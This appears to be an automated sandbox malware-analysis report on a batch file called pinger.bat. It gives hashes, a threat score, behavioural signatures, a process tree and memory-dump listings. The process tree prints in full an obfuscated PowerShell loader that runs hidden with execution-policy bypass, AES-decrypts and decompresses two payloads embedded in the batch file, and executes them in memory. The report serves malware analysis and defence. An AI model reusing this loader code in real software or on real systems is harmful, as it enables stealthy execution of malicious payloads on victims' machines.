Overview

overview

10

Static

static

1

pinger.bat

windows7-x64

7

pinger.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28-04-2024 03:00

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General

  • Target

    pinger.bat

  • Size

    110KB

  • MD5

    ed3f9ae23e2900529c2389663c7a7f29

  • SHA1

    5319adb0c33db865eee7877cf5d7a48b815bb21b

  • SHA256

    7008c81ff751ea039b0c0b3bf5c3fdf01198b8a7a645836560dfbcb1054e0b32

  • SHA512

    cde4f505a6afbe30be1f491c1f62c25f77ffa739e6483cd6d9ce61dd73e58a0cbdace61ba4bbdf7a4715e6caf07cfe3a1659500d10bdde26766d12b211c6b73d

  • SSDEEP

    3072:OAm2nj93JqYoSmFCL0GSuBqcqjlKepfYb+OdNYDtN:I2nRZqYJm0L0GSNbKep6/ny

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\pinger.bat"
    1⤵
    • Deletes itself
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XBTZHIR5Y+l/gP25W0+KqeKJL1jwl/lvB0dhdv8wotI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wd0nz582l/YYM0GAc1HU0g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $IQthO=New-Object System.IO.MemoryStream(,$param_var); $dcIoB=New-Object System.IO.MemoryStream; $meuxb=New-Object System.IO.Compression.GZipStream($IQthO, [IO.Compression.CompressionMode]::Decompress); $meuxb.CopyTo($dcIoB); $meuxb.Dispose(); $IQthO.Dispose(); $dcIoB.Dispose(); $dcIoB.ToArray();}function execute_function($param_var,$param2_var){ $vhmTd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JYzUH=$vhmTd.EntryPoint; $JYzUH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\pinger.bat';$Tcunq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\pinger.bat').Split([Environment]::NewLine);foreach ($FSspx in $Tcunq) { if ($FSspx.StartsWith(':: ')) { $MJksV=$FSspx.Substring(3); break; }}$payloads_var=[string[]]$MJksV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3064

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/3064-4-0x000000001B6E0000-0x000000001B9C2000-memory.dmp
    Filesize

    2.9MB

    Download
  • memory/3064-10-0x0000000002940000-0x00000000029C0000-memory.dmp
    Filesize

    512KB

    Download
  • memory/3064-9-0x0000000002940000-0x00000000029C0000-memory.dmp
    Filesize

    512KB

    Download
  • memory/3064-8-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/3064-7-0x0000000002940000-0x00000000029C0000-memory.dmp
    Filesize

    512KB

    Download
  • memory/3064-6-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/3064-5-0x0000000002390000-0x0000000002398000-memory.dmp
    Filesize

    32KB

    Download
  • memory/3064-11-0x0000000002940000-0x00000000029C0000-memory.dmp
    Filesize

    512KB

    Download
  • memory/3064-12-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
    Filesize

    9.6MB

    Download